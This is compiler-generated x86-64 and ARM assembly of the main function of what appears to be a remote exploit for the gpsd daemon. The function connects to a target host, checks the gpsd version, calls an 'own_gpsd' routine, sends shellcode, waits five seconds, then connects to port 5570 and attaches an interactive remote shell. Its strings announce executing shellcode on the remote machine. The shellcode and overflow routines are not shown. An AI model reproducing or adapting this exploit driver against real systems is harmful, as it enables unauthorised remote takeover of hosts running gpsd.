	.file	"extr_775.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"h:t:"
.LC1:
	.string	"[-] Invalid type."
.LC2:
	.string	"# remote host %s. \n"
.LC3:
	.string	"Checking Remote version"
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC4:
	.string	"[+] Trying to exec shellcode on remote"
	.align 8
.LC5:
	.string	"[-] Waiting 5 seconds to connect to remote shell"
	.section	.rodata.str1.1
.LC6:
	.string	"[-] failed :< \n"
.LC7:
	.string	"[+] yes! "
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r13
	.cfi_def_cfa_offset 16
	.cfi_offset 13, -16
	push	r12
	.cfi_def_cfa_offset 24
	.cfi_offset 12, -24
	push	rbp
	.cfi_def_cfa_offset 32
	.cfi_offset 6, -32
	mov	rbp, rsi
	push	rbx
	.cfi_def_cfa_offset 40
	.cfi_offset 3, -40
	sub	rsp, 8
	.cfi_def_cfa_offset 48
	cmp	edi, 2
	jle	.L16
	mov	ebx, edi
	xor	r13d, r13d
	lea	r12, .LC0[rip]
.L2:
	mov	rdx, r12
	mov	rsi, rbp
	mov	edi, ebx
	call	getopt@PLT
	cmp	DWORD PTR EOF[rip], eax
	je	.L17
	cmp	eax, 104
	je	.L4
	cmp	eax, 116
	je	.L5
	mov	rdi, QWORD PTR 0[rbp]
	xor	r12d, r12d
	call	usage@PLT
.L1:
	add	rsp, 8
	.cfi_remember_state
	.cfi_def_cfa_offset 40
	mov	eax, r12d
	pop	rbx
	.cfi_def_cfa_offset 32
	pop	rbp
	.cfi_def_cfa_offset 24
	pop	r12
	.cfi_def_cfa_offset 16
	pop	r13
	.cfi_def_cfa_offset 8
	ret
	.p2align 4,,10
	.p2align 3
.L4:
	.cfi_restore_state
	mov	r13, QWORD PTR optarg[rip]
	jmp	.L2
	.p2align 4,,10
	.p2align 3
.L5:
	mov	rdi, QWORD PTR optarg[rip]
	call	atoi@PLT
	mov	DWORD PTR iType[rip], eax
	jmp	.L2
.L17:
	mov	r12d, DWORD PTR iType[rip]
	test	r12d, r12d
	jne	.L18
	mov	rsi, r13
	lea	rdi, .LC2[rip]
	xor	eax, eax
	call	printf@PLT
	mov	esi, DWORD PTR GPSD_PORT[rip]
	mov	edx, 9000
	mov	rdi, r13
	call	new_tcpConnect@PLT
	lea	rdi, .LC3[rip]
	mov	ebp, eax
	call	puts@PLT
	mov	edi, ebp
	call	check_version@PLT
	mov	esi, DWORD PTR iType[rip]
	mov	edi, ebp
	call	own_gpsd@PLT
	mov	edi, ebp
	call	close@PLT
	mov	esi, DWORD PTR GPSD_PORT[rip]
	mov	edx, 9000
	mov	rdi, r13
	call	new_tcpConnect@PLT
	lea	rdi, .LC4[rip]
	mov	ebp, eax
	call	puts@PLT
	mov	edi, ebp
	call	exec_shellcode@PLT
	lea	rdi, .LC5[rip]
	call	puts@PLT
	mov	edi, 5
	call	sleep@PLT
	mov	edx, 9000
	mov	esi, 5570
	mov	rdi, r13
	call	new_tcpConnect@PLT
	mov	ebp, eax
	test	eax, eax
	js	.L19
	lea	rdi, .LC7[rip]
	call	puts@PLT
	mov	edi, ebp
	call	sh@PLT
.L11:
	mov	edi, ebp
	call	close@PLT
	jmp	.L1
.L18:
	mov	rdi, QWORD PTR 0[rbp]
	xor	r12d, r12d
	call	usage@PLT
	lea	rdi, .LC1[rip]
	call	puts@PLT
	jmp	.L1
.L19:
	mov	edi, DWORD PTR stderr[rip]
	lea	rsi, .LC6[rip]
	call	fprintf@PLT
	jmp	.L11
.L16:
	mov	rdi, QWORD PTR [rsi]
	or	r12d, -1
	call	usage@PLT
	jmp	.L1
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	stderr,4,4
	.comm	optarg,8,8
	.comm	iType,4,4
	.comm	GPSD_PORT,4,4
	.comm	EOF,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_775.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"h:t:\000"
	.align	2
.LC1:
	.ascii	"[-] Invalid type.\000"
	.align	2
.LC2:
	.ascii	"# remote host %s. \012\000"
	.align	2
.LC3:
	.ascii	"Checking Remote version\000"
	.align	2
.LC4:
	.ascii	"[+] Trying to exec shellcode on remote\000"
	.align	2
.LC5:
	.ascii	"[-] Waiting 5 seconds to connect to remote shell\000"
	.align	2
.LC6:
	.ascii	"[-] failed :< \012\000"
	.align	2
.LC7:
	.ascii	"[+] yes! \000"
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 0, uses_anonymous_args = 0
	cmp	r0, #2
	push	{r4, r5, r6, r7, r8, r9, r10, lr}
	mov	r10, r1
	ble	.L16
	mov	r4, r0
	mov	r8, #0
	ldr	r6, .L20
	ldr	r5, .L20+4
	ldr	r7, .L20+8
	ldr	r9, .L20+12
.L2:
	mov	r2, r5
	mov	r1, r10
	mov	r0, r4
	bl	getopt
	ldr	r3, [r6]
	cmp	r3, r0
	beq	.L17
	cmp	r0, #104
	beq	.L4
	cmp	r0, #116
	beq	.L5
	ldr	r0, [r10]
	bl	usage
	mov	r4, #0
.L1:
	mov	r0, r4
	pop	{r4, r5, r6, r7, r8, r9, r10, pc}
.L4:
	ldr	r8, [r7]
	b	.L2
.L5:
	ldr	r0, [r7]
	bl	atoi
	str	r0, [r9]
	b	.L2
.L17:
	ldr	r6, .L20+12
	ldr	r4, [r6]
	cmp	r4, #0
	bne	.L18
	ldr	r7, .L20+16
	mov	r1, r8
	ldr	r0, .L20+20
	bl	printf
	ldr	r2, .L20+24
	ldr	r1, [r7]
	mov	r0, r8
	bl	new_tcpConnect
	mov	r5, r0
	ldr	r0, .L20+28
	bl	puts
	mov	r0, r5
	bl	check_version
	ldr	r1, [r6]
	mov	r0, r5
	bl	own_gpsd
	mov	r0, r5
	bl	close
	ldr	r1, [r7]
	ldr	r2, .L20+24
	mov	r0, r8
	bl	new_tcpConnect
	mov	r5, r0
	ldr	r0, .L20+32
	bl	puts
	mov	r0, r5
	bl	exec_shellcode
	ldr	r0, .L20+36
	bl	puts
	mov	r0, #5
	bl	sleep
	mov	r0, r8
	ldr	r2, .L20+24
	ldr	r1, .L20+40
	bl	new_tcpConnect
	subs	r5, r0, #0
	blt	.L19
	ldr	r0, .L20+44
	bl	puts
	mov	r0, r5
	bl	sh
.L11:
	mov	r0, r5
	bl	close
	b	.L1
.L18:
	ldr	r0, [r10]
	bl	usage
	ldr	r0, .L20+48
	bl	puts
	mov	r4, #0
	b	.L1
.L19:
	ldr	r3, .L20+52
	ldr	r1, .L20+56
	ldr	r0, [r3]
	bl	fprintf
	b	.L11
.L16:
	ldr	r0, [r1]
	bl	usage
	mvn	r4, #0
	b	.L1
.L21:
	.align	2
.L20:
	.word	EOF
	.word	.LC0
	.word	optarg
	.word	iType
	.word	GPSD_PORT
	.word	.LC2
	.word	9000
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	5570
	.word	.LC7
	.word	.LC1
	.word	stderr
	.word	.LC6
	.size	main, .-main
	.comm	stderr,4,4
	.comm	optarg,4,4
	.comm	iType,4,4
	.comm	GPSD_PORT,4,4
	.comm	EOF,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
